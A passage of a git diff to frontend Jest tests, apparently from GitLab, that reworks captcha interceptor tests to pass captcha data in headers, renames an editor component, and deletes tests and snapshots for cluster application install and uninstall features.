@@ -78,7 +78,7 @@ describe('Delete branch button', () => {
expect(findDeleteButton().attributes()).toMatchObject({
title: 'Delete branch',
- variant: 'danger',
+ variant: 'default',
});
});
diff --git a/spec/frontend/captcha/captcha_modal_axios_interceptor_spec.js b/spec/frontend/captcha/captcha_modal_axios_interceptor_spec.js
index df81b78d010..553ca52f9ce 100644
--- a/spec/frontend/captcha/captcha_modal_axios_interceptor_spec.js
+++ b/spec/frontend/captcha/captcha_modal_axios_interceptor_spec.js
@@ -1,6 +1,7 @@
import MockAdapter from 'axios-mock-adapter';
import { registerCaptchaModalInterceptor } from '~/captcha/captcha_modal_axios_interceptor';
+import UnsolvedCaptchaError from '~/captcha/unsolved_captcha_error';
import { waitForCaptchaToBeSolved } from '~/captcha/wait_for_captcha_to_be_solved';
import axios from '~/lib/utils/axios_utils';
import httpStatusCodes from '~/lib/utils/http_status';
@@ -25,22 +26,24 @@ describe('registerCaptchaModalInterceptor', () => {
let mock;
beforeEach(() => {
+ waitForCaptchaToBeSolved.mockRejectedValue(new UnsolvedCaptchaError());
+
mock = new MockAdapter(axios);
- mock.onAny('/no-captcha').reply(200, AXIOS_RESPONSE);
- mock.onAny('/error').reply(404, AXIOS_RESPONSE);
- mock.onAny('/captcha').reply((config) => {
+ mock.onAny('/endpoint-without-captcha').reply(200, AXIOS_RESPONSE);
+ mock.onAny('/endpoint-with-unrelated-error').reply(404, AXIOS_RESPONSE);
+ mock.onAny('/endpoint-with-captcha').reply((config) => {
if (!supportedMethods.includes(config.method)) {
return [httpStatusCodes.METHOD_NOT_ALLOWED, { method: config.method }];
}
- try {
- const { captcha_response, spam_log_id, ...rest } = JSON.parse(config.data);
- // eslint-disable-next-line babel/camelcase
- if (captcha_response === CAPTCHA_RESPONSE && spam_log_id === SPAM_LOG_ID) {
- return [httpStatusCodes.OK, { ...rest, method: config.method, CAPTCHA_SUCCESS }];
- }
- } catch (e) {
- return [httpStatusCodes.BAD_REQUEST, { method: config.method }];
+ const data = JSON.parse(config.data);
+ const {
+ 'X-GitLab-Captcha-Response': captchaResponse,
+ 'X-GitLab-Spam-Log-Id': spamLogId,
+ } = config.headers;
+
+ if (captchaResponse === CAPTCHA_RESPONSE && spamLogId === SPAM_LOG_ID) {
+ return [httpStatusCodes.OK, { ...data, method: config.method, CAPTCHA_SUCCESS }];
}
return [httpStatusCodes.CONFLICT, NEEDS_CAPTCHA_RESPONSE];
@@ -56,7 +59,7 @@ describe('registerCaptchaModalInterceptor', () => {
describe.each([...supportedMethods, ...unsupportedMethods])('For HTTP method %s', (method) => {
it('successful requests are passed through', async () => {
- const { data, status } = await axios[method]('/no-captcha');
+ const { data, status } = await axios[method]('/endpoint-without-captcha');
expect(status).toEqual(httpStatusCodes.OK);
expect(data).toEqual(AXIOS_RESPONSE);
@@ -64,7 +67,7 @@ describe('registerCaptchaModalInterceptor', () => {
});
it('error requests without needs_captcha_response_errors are passed through', async () => {
- await expect(() => axios[method]('/error')).rejects.toThrow(
+ await expect(() => axios[method]('/endpoint-with-unrelated-error')).rejects.toThrow(
expect.objectContaining({
response: expect.objectContaining({
status: httpStatusCodes.NOT_FOUND,
@@ -79,21 +82,35 @@ describe('registerCaptchaModalInterceptor', () => {
describe.each(supportedMethods)('For HTTP method %s', (method) => {
describe('error requests with needs_captcha_response_errors', () => {
const submittedData = { ID: 12345 };
+ const submittedHeaders = { 'Submitted-Header': 67890 };
it('re-submits request if captcha was solved correctly', async () => {
- waitForCaptchaToBeSolved.mockResolvedValue(CAPTCHA_RESPONSE);
- const { data: returnedData } = await axios[method]('/captcha', submittedData);
+ waitForCaptchaToBeSolved.mockResolvedValueOnce(CAPTCHA_RESPONSE);
+ const axiosResponse = await axios[method]('/endpoint-with-captcha', submittedData, {
+ headers: submittedHeaders,
+ });
+ const {
+ data: returnedData,
+ config: { headers: returnedHeaders },
+ } = axiosResponse;
expect(waitForCaptchaToBeSolved).toHaveBeenCalledWith(CAPTCHA_SITE_KEY);
expect(returnedData).toEqual({ ...submittedData, CAPTCHA_SUCCESS, method });
+ expect(returnedHeaders).toEqual(
+ expect.objectContaining({
+ ...submittedHeaders,
+ 'X-GitLab-Captcha-Response': CAPTCHA_RESPONSE,
+ 'X-GitLab-Spam-Log-Id': SPAM_LOG_ID,
+ }),
+ );
expect(mock.history[method]).toHaveLength(2);
});
it('does not re-submit request if captcha was not solved', async () => {
- const error = new Error('Captcha not solved');
- waitForCaptchaToBeSolved.mockRejectedValue(error);
- await expect(() => axios[method]('/captcha', submittedData)).rejects.toThrow(error);
+ await expect(() => axios[method]('/endpoint-with-captcha', submittedData)).rejects.toThrow(
+ new UnsolvedCaptchaError(),
+ );
expect(waitForCaptchaToBeSolved).toHaveBeenCalledWith(CAPTCHA_SITE_KEY);
expect(mock.history[method]).toHaveLength(1);
@@ -103,7 +120,7 @@ describe('registerCaptchaModalInterceptor', () => {
describe.each(unsupportedMethods)('For HTTP method %s', (method) => {
it('ignores captcha response', async () => {
- await expect(() => axios[method]('/captcha')).rejects.toThrow(
+ await expect(() => axios[method]('/endpoint-with-captcha')).rejects.toThrow(
expect.objectContaining({
response: expect.objectContaining({
status: httpStatusCodes.METHOD_NOT_ALLOWED,
diff --git a/spec/frontend/ci_lint/components/ci_lint_spec.js b/spec/frontend/ci_lint/components/ci_lint_spec.js
index 8a065436da0..36d860b1ccd 100644
--- a/spec/frontend/ci_lint/components/ci_lint_spec.js
+++ b/spec/frontend/ci_lint/components/ci_lint_spec.js
@@ -4,7 +4,7 @@ import waitForPromises from 'helpers/wait_for_promises';
import CiLint from '~/ci_lint/components/ci_lint.vue';
import CiLintResults from '~/pipeline_editor/components/lint/ci_lint_results.vue';
import lintCIMutation from '~/pipeline_editor/graphql/mutations/lint_ci.mutation.graphql';
-import EditorLite from '~/vue_shared/components/editor_lite.vue';
+import SourceEditor from '~/vue_shared/components/source_editor.vue';
import { mockLintDataValid } from '../mock_data';
describe('CI Lint', () => {
@@ -35,7 +35,7 @@ describe('CI Lint', () => {
});
};
- const findEditor = () => wrapper.find(EditorLite);
+ const findEditor = () => wrapper.find(SourceEditor);
const findAlert = () => wrapper.find(GlAlert);
const findCiLintResults = () => wrapper.find(CiLintResults);
const findValidateBtn = () => wrapper.find('[data-testid="ci-lint-validate"]');
diff --git a/spec/frontend/clusters/clusters_bundle_spec.js b/spec/frontend/clusters/clusters_bundle_spec.js
index cd0eda2ab49..42990334f0a 100644
--- a/spec/frontend/clusters/clusters_bundle_spec.js
+++ b/spec/frontend/clusters/clusters_bundle_spec.js
@@ -2,15 +2,12 @@ import MockAdapter from 'axios-mock-adapter';
import { loadHTMLFixture } from 'helpers/fixtures';
import { setTestTimeout } from 'helpers/timeout';
import Clusters from '~/clusters/clusters_bundle';
-import { APPLICATION_STATUS, APPLICATIONS, RUNNER } from '~/clusters/constants';
import axios from '~/lib/utils/axios_utils';
import initProjectSelectDropdown from '~/project_select';
jest.mock('~/lib/utils/poll');
jest.mock('~/project_select');
-const { INSTALLING, INSTALLABLE, INSTALLED, UNINSTALLING } = APPLICATION_STATUS;
-
describe('Clusters', () => {
setTestTimeout(1000);
@@ -57,67 +54,6 @@ describe('Clusters', () => {
});
});
- describe('checkForNewInstalls', () => {
- const INITIAL_APP_MAP = {
- helm: { status: null, title: 'Helm Tiller' },
- ingress: { status: null, title: 'Ingress' },
- runner: { status: null, title: 'GitLab Runner' },
- };
-
- it('does not show alert when things transition from initial null state to something', () => {
- cluster.checkForNewInstalls(INITIAL_APP_MAP, {
- ...INITIAL_APP_MAP,
- helm: { status: INSTALLABLE, title: 'Helm Tiller' },
- });
-
- const flashMessage = document.querySelector('.js-cluster-application-notice .flash-text');
-
- expect(flashMessage).toBeNull();
- });
-
- it('shows an alert when something gets newly installed', () => {
- cluster.checkForNewInstalls(
- {
- ...INITIAL_APP_MAP,
- helm: { status: INSTALLING, title: 'Helm Tiller' },
- },
- {
- ...INITIAL_APP_MAP,
- helm: { status: INSTALLED, title: 'Helm Tiller' },
- },
- );
-
- const flashMessage = document.querySelector('.js-cluster-application-notice .flash-text');
-
- expect(flashMessage).not.toBeNull();
- expect(flashMessage.textContent.trim()).toEqual(
- 'Helm Tiller was successfully installed on your Kubernetes cluster',
- );
- });
-
- it('shows an alert when multiple things gets newly installed', () => {
- cluster.checkForNewInstalls(
- {
- ...INITIAL_APP_MAP,
- helm: { status: INSTALLING, title: 'Helm Tiller' },
- ingress: { status: INSTALLABLE, title: 'Ingress' },
- },
- {
- ...INITIAL_APP_MAP,
- helm: { status: INSTALLED, title: 'Helm Tiller' },
- ingress: { status: INSTALLED, title: 'Ingress' },
- },
- );
-
- const flashMessage = document.querySelector('.js-cluster-application-notice .flash-text');
-
- expect(flashMessage).not.toBeNull();
- expect(flashMessage.textContent.trim()).toEqual(
- 'Helm Tiller, Ingress was successfully installed on your Kubernetes cluster',
- );
- });
- });
-
describe('updateContainer', () => {
const { location } = window;
@@ -237,77 +173,6 @@ describe('Clusters', () => {
});
});
- describe('installApplication', () => {
- it.each(APPLICATIONS)('tries to install %s', (applicationId, done) => {
- jest.spyOn(cluster.service, 'installApplication').mockResolvedValue();
-
- cluster.store.state.applications[applicationId].status = INSTALLABLE;
-
- const params = {};
- if (applicationId === 'knative') {
- params.hostname = 'test-example.com';
- }
-
- // eslint-disable-next-line promise/valid-params
- cluster
- .installApplication({ id: applicationId, params })
- .then(() => {
- expect(cluster.store.state.applications[applicationId].status).toEqual(INSTALLING);
- expect(cluster.store.state.applications[applicationId].requestReason).toEqual(null);
- expect(cluster.service.installApplication).toHaveBeenCalledWith(applicationId, params);
- done();
- })
- .catch();
- });
-
- it('sets error request status when the request fails', () => {
- jest
- .spyOn(cluster.service, 'installApplication')
- .mockRejectedValueOnce(new Error('STUBBED ERROR'));
-
- cluster.store.state.applications.helm.status = INSTALLABLE;
-
- const promise = cluster.installApplication({ id: 'helm' });
-
- return promise.then(() => {
- expect(cluster.store.state.applications.helm.status).toEqual(INSTALLABLE);
- expect(cluster.store.state.applications.helm.installFailed).toBe(true);
-
- expect(cluster.store.state.applications.helm.requestReason).toBeDefined();
- });
- });
- });
-
- describe('uninstallApplication', () => {
- it.each(APPLICATIONS)('tries to uninstall %s', (applicationId) => {
- jest.spyOn(cluster.service, 'uninstallApplication').mockResolvedValueOnce();
-
- cluster.store.state.applications[applicationId].status = INSTALLED;
-
- cluster.uninstallApplication({ id: applicationId });
-
- expect(cluster.store.state.applications[applicationId].status).toEqual(UNINSTALLING);
- expect(cluster.store.state.applications[applicationId].requestReason).toEqual(null);
- expect(cluster.service.uninstallApplication).toHaveBeenCalledWith(applicationId);
- });
-
- it('sets error request status when the uninstall request fails', () => {
- jest
- .spyOn(cluster.service, 'uninstallApplication')
- .mockRejectedValueOnce(new Error('STUBBED ERROR'));
-
- cluster.store.state.applications.helm.status = INSTALLED;
-
- const promise = cluster.uninstallApplication({ id: 'helm' });
-
- return promise.then(() => {
- expect(cluster.store.state.applications.helm.status).toEqual(INSTALLED);
- expect(cluster.store.state.applications.helm.uninstallFailed).toBe(true);
- expect(cluster.store.state.applications.helm.requestReason).toBeDefined();
- });
- });
- });
-
describe('fetch cluster environments success', () => {
beforeEach(() => {
jest.spyOn(cluster.store, 'toggleFetchEnvironments').mockReturnThis();
@@ -328,7 +193,6 @@ describe('Clusters', () => {
describe('handleClusterStatusSuccess', () => {
beforeEach(() => {
jest.spyOn(cluster.store, 'updateStateFromServer').mockReturnThis();
- jest.spyOn(cluster, 'checkForNewInstalls').mockReturnThis();
jest.spyOn(cluster, 'updateContainer').mockReturnThis();
cluster.handleClusterStatusSuccess({ data: {} });
});
@@ -337,38 +201,8 @@ describe('Clusters', () => {
expect(cluster.store.updateStateFromServer).toHaveBeenCalled();
});
- it('checks for new installable apps', () => {
- expect(cluster.checkForNewInstalls).toHaveBeenCalled();
- });
-
it('updates message containers', () => {
expect(cluster.updateContainer).toHaveBeenCalled();
});
});
-
- describe('updateApplication', () => {
- const params = { version: '1.0.0' };
- let storeUpdateApplication;
- let installApplication;
-
- beforeEach(() => {
- storeUpdateApplication = jest.spyOn(cluster.store, 'updateApplication');
- installApplication = jest.spyOn(cluster.service, 'installApplication');
-
- cluster.updateApplication({ id: RUNNER, params });
- });
-
- afterEach(() => {
- storeUpdateApplication.mockRestore();
- installApplication.mockRestore();
- });
-
- it('calls store updateApplication method', () => {
- expect(storeUpdateApplication).toHaveBeenCalledWith(RUNNER);
- });
-
- it('sends installApplication request', () => {
- expect(installApplication).toHaveBeenCalledWith(RUNNER, params);
- });
- });
});
diff --git a/spec/frontend/clusters/components/__snapshots__/applications_spec.js.snap b/spec/frontend/clusters/components/__snapshots__/applications_spec.js.snap
deleted file mode 100644
index c2ace1b4e30..00000000000
--- a/spec/frontend/clusters/components/__snapshots__/applications_spec.js.snap
+++ /dev/null
@@ -1,105 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`Applications Cert-Manager application shows the correct description 1`] = `
-<p
- data-testid="certManagerDescription"
->
- Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by
- <a
- class="gl-link"
- href="https://letsencrypt.org/"
- rel="noopener noreferrer"
- target="_blank"
- >
- Let's Encrypt
- </a>
- and ensure that certificates are valid and up-to-date.
-</p>
-`;
-
-exports[`Applications Cilium application shows the correct description 1`] = `
-<p
- data-testid="ciliumDescription"
->
- Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints.
- <a
- class="gl-link"
- href="cilium-help-path"
- rel="noopener"
- target="_blank"
- >
- Learn more about configuring Network Policies here.
- </a>
-</p>
-`;
-
-exports[`Applications Crossplane application shows the correct description 1`] = `
-<p
- data-testid="crossplaneDescription"
->
- Crossplane enables declarative provisioning of managed services from your cloud of choice using
- <code>
- kubectl
- </code>
- or
- <a
- class="gl-link"
- href="https://docs.gitlab.com/ee/user/clusters/applications.html#crossplane"
- rel="noopener noreferrer"
- target="_blank"
- >
- GitLab Integration
- </a>
- . Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on.
-</p>
-`;
-
-exports[`Applications Ingress application shows the correct warning message 1`] = `
-<span
- data-testid="ingressCostWarning"
->
- Installing Ingress may incur additional costs. Learn more about
- <a
- class="gl-link"
- href="https://cloud.google.com/compute/pricing#lb"
- rel="noopener noreferrer"
- target="_blank"
- >
- pricing
- </a>
- .
-</span>
-`;
-
-exports[`Applications Knative application shows the correct description 1`] = `
-<span
- data-testid="installed-via"
->
- installed via
- <a
- class="gl-link"
- href=""
- rel="noopener"
- target="_blank"
- >
- Cloud Run
- </a>
-</span>
-`;
-
-exports[`Applications Prometheus application shows the correct description 1`] = `
-<span
- data-testid="prometheusDescription"
->
- Prometheus is an open-source monitoring system with
- <a
- class="gl-link"
- href="https://docs.gitlab.com/ee/user/project/integrations/prometheus.html"
- rel="noopener noreferrer"
- target="_blank"
- >
- GitLab Integration
- </a>
- to monitor deployed applications.
-</span>
-`;
diff --git a/spec/frontend/clusters/components/__snapshots__/remove_cluster_confirmation_spec.js.snap b/spec/frontend/clusters/components/__snapshots__/remove_cluster_confirmation_spec.js.snap
index e5e336eb3d5..0e1fe790771 100644
--- a/spec/frontend/clusters/components/__snapshots__/remove_cluster_confirmation_spec.js.snap
+++ b/spec/frontend/clusters/components/__snapshots__/remove_cluster_confirmation_spec.js.snap
@@ -156,7 +156,6 @@ exports[`Remove cluster confirmation modal renders splitbutton with modal includ
<!---->
</div>
-
</ul>
</div>
diff --git a/spec/frontend/clusters/components/application_row_spec.js b/spec/frontend/clusters/components/application_row_spec.js
deleted file mode 100644
index 6bad1db542b..00000000000
--- a/spec/frontend/clusters/components/application_row_spec.js
+++ /dev/null
@@ -1,505 +0,0 @@
-import { GlSprintf } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import ApplicationRow from '~/clusters/components/application_row.vue';
-import UninstallApplicationConfirmationModal from '~/clusters/components/uninstall_application_confirmation_modal.vue';
-import UpdateApplicationConfirmationModal from '~/clusters/components/update_application_confirmation_modal.vue';
-import { APPLICATION_STATUS, ELASTIC_STACK } from '~/clusters/constants';
-import eventHub from '~/clusters/event_hub';
-
-import { DEFAULT_APPLICATION_STATE } from '../services/mock_data';
-
-describe('Application Row', () => {
- let wrapper;
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- const mountComponent = (data) => {
- wrapper = shallowMount(ApplicationRow, {
- stubs: { GlSprintf },
- propsData: {
- ...DEFAULT_APPLICATION_STATE,
- ...data,
- },
- });
- };
-
- describe('Title', () => {
- it('shows title', () => {
- mountComponent({ titleLink: null });
-
- const title = wrapper.find('.js-cluster-application-title');
-
- expect(title.element).toBeInstanceOf(HTMLSpanElement);
- expect(title.text()).toEqual(DEFAULT_APPLICATION_STATE.title);
- });
-
- it('shows title link', () => {
- expect(DEFAULT_APPLICATION_STATE.titleLink).toBeDefined();
- mountComponent();
- const title = wrapper.find('.js-cluster-application-title');
-
- expect(title.element).toBeInstanceOf(HTMLAnchorElement);
- expect(title.text()).toEqual(DEFAULT_APPLICATION_STATE.title);
- });
- });
-
- describe('Install button', () => {
- const button = () => wrapper.find('.js-cluster-application-install-button');
- const checkButtonState = (label, loading, disabled) => {
- expect(button().text()).toEqual(label);
- expect(button().props('loading')).toEqual(loading);
- expect(button().props('disabled')).toEqual(disabled);
- };
-
- it('has indeterminate state on page load', () => {
- mountComponent({ status: null });
-
- expect(button().text()).toBe('');
- });
-
- it('has install button', () => {
- mountComponent();
-
- expect(button().exists()).toBe(true);
- });
-
- it('has disabled "Install" when APPLICATION_STATUS.NOT_INSTALLABLE', () => {
- mountComponent({ status: APPLICATION_STATUS.NOT_INSTALLABLE });
-
- checkButtonState('Install', false, true);
- });
-
- it('has enabled "Install" when APPLICATION_STATUS.INSTALLABLE', () => {
- mountComponent({ status: APPLICATION_STATUS.INSTALLABLE });
-
- checkButtonState('Install', false, false);
- });
-
- it('has loading "Installing" when APPLICATION_STATUS.INSTALLING', () => {
- mountComponent({ status: APPLICATION_STATUS.INSTALLING });
-
- checkButtonState('Installing', true, true);
- });
-
- it('has disabled "Install" when APPLICATION_STATUS.UNINSTALLED', () => {
- mountComponent({ status: APPLICATION_STATUS.UNINSTALLED });
-
- checkButtonState('Install', false, true);
- });
-
- it('has disabled "Externally installed" when APPLICATION_STATUS.EXTERNALLY_INSTALLED', () => {
- mountComponent({ status: APPLICATION_STATUS.EXTERNALLY_INSTALLED });
-
- checkButtonState('Externally installed', false, true);
- });
-
- it('has disabled "Installed" when application is installed and not uninstallable', () => {
- mountComponent({
- status: APPLICATION_STATUS.INSTALLED,
- installed: true,
- uninstallable: false,
- });
-
- checkButtonState('Installed', false, true);
- });
-
- it('hides when application is installed and uninstallable', () => {
- mountComponent({
- status: APPLICATION_STATUS.INSTALLED,
- installed: true,
- uninstallable: true,
- });
-
- expect(button().exists()).toBe(false);
- });
-
- it('has enabled "Install" when install fails', () => {
- mountComponent({
- status: APPLICATION_STATUS.INSTALLABLE,
- installFailed: true,
- });
-
- checkButtonState('Install', false, false);
- });
-
- it('has disabled "Install" when installation disabled', () => {
- mountComponent({
- status: APPLICATION_STATUS.INSTALLABLE,
- installable: false,
- });
-
- checkButtonState('Install', false, true);
- });
-
- it('has enabled "Install" when REQUEST_FAILURE (so you can try installing again)', () => {
- mountComponent({ status: APPLICATION_STATUS.INSTALLABLE });
-
- checkButtonState('Install', false, false);
- });
-
- it('clicking install button emits event', () => {
- const spy = jest.spyOn(eventHub, '$emit');
- mountComponent({ status: APPLICATION_STATUS.INSTALLABLE });
-
- button().vm.$emit('click');
-
- expect(spy).toHaveBeenCalledWith('installApplication', {
- id: DEFAULT_APPLICATION_STATE.id,
- params: {},
- });
- });
-
- it('clicking install button when installApplicationRequestParams are provided emits event', () => {
- const spy = jest.spyOn(eventHub, '$emit');
- mountComponent({
- status: APPLICATION_STATUS.INSTALLABLE,
- installApplicationRequestParams: { hostname: 'jupyter' },
- });
-
- button().vm.$emit('click');
-
- expect(spy).toHaveBeenCalledWith('installApplication', {
- id: DEFAULT_APPLICATION_STATE.id,
- params: { hostname: 'jupyter' },
- });
- });
-
- it('clicking disabled install button emits nothing', () => {
- const spy = jest.spyOn(eventHub, '$emit');
- mountComponent({ status: APPLICATION_STATUS.INSTALLING });
-
- expect(button().props('disabled')).toEqual(true);
-
- button().vm.$emit('click');
-
- expect(spy).not.toHaveBeenCalled();
- });
- });
-
- describe('Uninstall button', () => {
- it('displays button when app is installed and uninstallable', () => {
- mountComponent({
- installed: true,
- uninstallable: true,
- status: APPLICATION_STATUS.NOT_INSTALLABLE,
- });
- const uninstallButton = wrapper.find('.js-cluster-application-uninstall-button');
-
- expect(uninstallButton.exists()).toBe(true);
- });
-
- it('displays a success toast message if application uninstall was successful', async () => {
- mountComponent({
- title: 'GitLab Runner',
- uninstallSuccessful: false,
- });
-
- wrapper.vm.$toast = { show: jest.fn() };
- wrapper.setProps({ uninstallSuccessful: true });
-
- await wrapper.vm.$nextTick();
- expect(wrapper.vm.$toast.show).toHaveBeenCalledWith(
- 'GitLab Runner uninstalled successfully.',
- );
- });
- });
-
- describe('when confirmation modal triggers confirm event', () => {
- it('triggers uninstallApplication event', () => {
- jest.spyOn(eventHub, '$emit');
- mountComponent();
- wrapper.find(UninstallApplicationConfirmationModal).vm.$emit('confirm');
-
- expect(eventHub.$emit).toHaveBeenCalledWith('uninstallApplication', {
- id: DEFAULT_APPLICATION_STATE.id,
- });
- });
- });
-
- describe('Update button', () => {
- const button = () => wrapper.find('.js-cluster-application-update-button');
-
- it('has indeterminate state on page load', () => {
- mountComponent();
-
- expect(button().exists()).toBe(false);
- });
-
- it('has enabled "Update" when "updateAvailable" is true', () => {
- mountComponent({ updateAvailable: true });
-
- expect(button().exists()).toBe(true);
- expect(button().text()).toContain('Update');
- });
-
- it('has enabled "Retry update" when update process fails', () => {
- mountComponent({
- status: APPLICATION_STATUS.INSTALLED,
- updateFailed: true,
- });
-
- expect(button().exists()).toBe(true);
- expect(button().text()).toContain('Retry update');
- });
-
- it('has disabled "Updating" when APPLICATION_STATUS.UPDATING', () => {
- mountComponent({ status: APPLICATION_STATUS.UPDATING });
-
- expect(button().exists()).toBe(true);
- expect(button().text()).toContain('Updating');
- });
-
- it('clicking update button emits event', () => {
- const spy = jest.spyOn(eventHub, '$emit');
- mountComponent({
- status: APPLICATION_STATUS.INSTALLED,
- updateAvailable: true,
- });
-
- button().vm.$emit('click');
-
- expect(spy).toHaveBeenCalledWith('updateApplication', {
- id: DEFAULT_APPLICATION_STATE.id,
- params: {},
- });
- });
-
- it('clicking disabled update button emits nothing', () => {
- const spy = jest.spyOn(eventHub, '$emit');
- mountComponent({ status: APPLICATION_STATUS.UPDATING });
-
- button().vm.$emit('click');
-
- expect(spy).not.toHaveBeenCalled();
- });
-
- it('displays an error message if application update failed', () => {
- mountComponent({
- title: 'GitLab Runner',
- status: APPLICATION_STATUS.INSTALLED,
- updateFailed: true,
- });
- const failureMessage = wrapper.find('.js-cluster-application-update-details');
-
- expect(failureMessage.exists()).toBe(true);
- expect(failureMessage.text()).toContain(
- 'Update failed. Please check the logs and try again.',
- );
- });
-
- it('displays a success toast message if application update was successful', async () => {
- mountComponent({
- title: 'GitLab Runner',
- updateSuccessful: false,
- });
-
- wrapper.vm.$toast = { show: jest.fn() };
- wrapper.setProps({ updateSuccessful: true });
-
- await wrapper.vm.$nextTick();
- expect(wrapper.vm.$toast.show).toHaveBeenCalledWith('GitLab Runner updated successfully.');
- });
-
- describe('when updating does not require confirmation', () => {
- beforeEach(() => mountComponent({ updateAvailable: true }));
-
- it('the modal is not rendered', () => {
- expect(wrapper.find(UpdateApplicationConfirmationModal).exists()).toBe(false);
- });
-
- it('the correct button is rendered', () => {
- expect(wrapper.find("[data-qa-selector='update_button']").exists()).toBe(true);
- });
- });
-
- describe('when updating requires confirmation', () => {
- beforeEach(() => {
- mountComponent({
- updateAvailable: true,
- id: ELASTIC_STACK,
- version: '1.1.2',
- });
- });
-
- it('displays a modal', () => {
- expect(wrapper.find(UpdateApplicationConfirmationModal).exists()).toBe(true);
- });
-
- it('the correct button is rendered', () => {
- expect(wrapper.find("[data-qa-selector='update_button_with_confirmation']").exists()).toBe(
- true,
- );
- });
-
- it('triggers updateApplication event', () => {
- jest.spyOn(eventHub, '$emit');
- wrapper.find(UpdateApplicationConfirmationModal).vm.$emit('confirm');
-
- expect(eventHub.$emit).toHaveBeenCalledWith('updateApplication', {
- id: ELASTIC_STACK,
- params: {},
- });
- });
- });
-
- describe('updating Elastic Stack special case', () => {
- it('needs confirmation if version is lower than 3.0.0', () => {
- mountComponent({
- updateAvailable: true,
- id: ELASTIC_STACK,
- version: '1.1.2',
- });
-
- expect(wrapper.find("[data-qa-selector='update_button_with_confirmation']").exists()).toBe(
- true,
- );
- expect(wrapper.find(UpdateApplicationConfirmationModal).exists()).toBe(true);
- });
-
- it('does not need confirmation is version is 3.0.0', () => {
- mountComponent({
- updateAvailable: true,
- id: ELASTIC_STACK,
- version: '3.0.0',
- });
-
- expect(wrapper.find("[data-qa-selector='update_button']").exists()).toBe(true);
- expect(wrapper.find(UpdateApplicationConfirmationModal).exists()).toBe(false);
- });
-
- it('does not need confirmation if version is higher than 3.0.0', () => {
- mountComponent({
- updateAvailable: true,
- id: ELASTIC_STACK,
- version: '5.2.1',
- });
-
- expect(wrapper.find("[data-qa-selector='update_button']").exists()).toBe(true);
- expect(wrapper.find(UpdateApplicationConfirmationModal).exists()).toBe(false);
- });
- });
- });
-
- describe('Version', () => {
- const updateDetails = () => wrapper.find('.js-cluster-application-update-details');
- const versionEl = () => wrapper.find('.js-cluster-application-update-version');
-
- it('displays a version number if application has been updated', () => {
- const version = '0.1.45';
- mountComponent({
- status: APPLICATION_STATUS.INSTALLED,
- updateSuccessful: true,
- version,
- });
-
- expect(updateDetails().text()).toBe(`Updated to chart v${version}`);
- });
-
- it('contains a link to the chart repo if application has been updated', () => {
- const version = '0.1.45';
- const chartRepo = 'https://gitlab.com/gitlab-org/charts/gitlab-runner';
- mountComponent({
- status: APPLICATION_STATUS.INSTALLED,
- updateSuccessful: true,
- chartRepo,
- version,
- });
-
- expect(versionEl().attributes('href')).toEqual(chartRepo);
- expect(versionEl().props('target')).toEqual('_blank');
- });
-
- it('does not display a version number if application update failed', () => {
- const version = '0.1.45';
- mountComponent({
- status: APPLICATION_STATUS.INSTALLED,
- updateFailed: true,
- version,
- });
-
- expect(updateDetails().text()).toBe('Update failed');
- expect(versionEl().exists()).toBe(false);
- });
-
- it('displays updating when the application update is currently updating', () => {
- mountComponent({
- status: APPLICATION_STATUS.UPDATING,
- updateSuccessful: true,
- version: '1.2.3',
- });
-
- expect(updateDetails().text()).toBe('Updating');
- expect(versionEl().exists()).toBe(false);
- });
- });
-
- describe('Error block', () => {
- const generalErrorMessage = () => wrapper.find('.js-cluster-application-general-error-message');
-
- describe('when nothing fails', () => {
- it('does not show error block', () => {
- mountComponent();
-
- expect(generalErrorMessage().exists()).toBe(false);
- });
- });
-
- describe('when install or uninstall fails', () => {
- const statusReason = 'We broke it 0.0';
- const requestReason = 'We broke the request 0.0';
-
- beforeEach(() => {
- mountComponent({
- status: APPLICATION_STATUS.ERROR,
- statusReason,
- requestReason,
- installFailed: true,
- });
- });
-
- it('shows status reason if it is available', () => {
- const statusErrorMessage = wrapper.find('.js-cluster-application-status-error-message');
-
- expect(statusErrorMessage.text()).toEqual(statusReason);
- });
-
- it('shows request reason if it is available', () => {
- const requestErrorMessage = wrapper.find('.js-cluster-application-request-error-message');
-
- expect(requestErrorMessage.text()).toEqual(requestReason);
- });
- });
-
- describe('when install fails', () => {
- beforeEach(() => {
- mountComponent({
- status: APPLICATION_STATUS.ERROR,
- installFailed: true,
- });
- });
-
- it('shows a general message indicating the installation failed', () => {
- expect(generalErrorMessage().text()).toEqual(
- `Something went wrong while installing ${DEFAULT_APPLICATION_STATE.title}`,
- );
- });
- });
-
- describe('when uninstall fails', () => {
- beforeEach(() => {
- mountComponent({
- status: APPLICATION_STATUS.ERROR,
- uninstallFailed: true,
- });
- });
-
- it('shows a general message indicating the uninstalling failed', () => {
- expect(generalErrorMessage().text()).toEqual(
- `Something went wrong while uninstalling ${DEFAULT_APPLICATION_STATE.title}`,
- );
- });
- });
- });
-});
diff --git a/spec/frontend/clusters/components/applications_spec.js b/spec/frontend/clusters/components/applications_spec.js
deleted file mode 100644
index 511f5fc1d89..00000000000
--- a/spec/frontend/clusters/components/applications_spec.js
+++ /dev/null
@@ -1,510 +0,0 @@
-import { shallowMount, mount } from '@vue/test-utils';
-import ApplicationRow from '~/clusters/components/application_row.vue';
-import Applications from '~/clusters/components/applications.vue';
-import CrossplaneProviderStack from '~/clusters/components/crossplane_provider_stack.vue';
-import KnativeDomainEditor from '~/clusters/components/knative_domain_editor.vue';
-import { CLUSTER_TYPE, PROVIDER_TYPE } from '~/clusters/constants';
-import eventHub from '~/clusters/event_hub';
-import { APPLICATIONS_MOCK_STATE } from '../services/mock_data';
-
-describe('Applications', () => {
- let wrapper;
-
- beforeEach(() => {
- gon.features = gon.features || {};
- });
-
- const createComponent = ({ applications, type, propsData } = {}, isShallow) => {
- const mountMethod = isShallow ? shallowMount : mount;
-
- wrapper = mountMethod(Applications, {
- stubs: { ApplicationRow },
- propsData: {
- type,
- applications: { ...APPLICATIONS_MOCK_STATE, ...applications },
- ...propsData,
- },
- });
- };
-
- const createShallowComponent = (options) => createComponent(options, true);
- const findByTestId = (id) => wrapper.find(`[data-testid="${id}"]`);
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('Project cluster applications', () => {
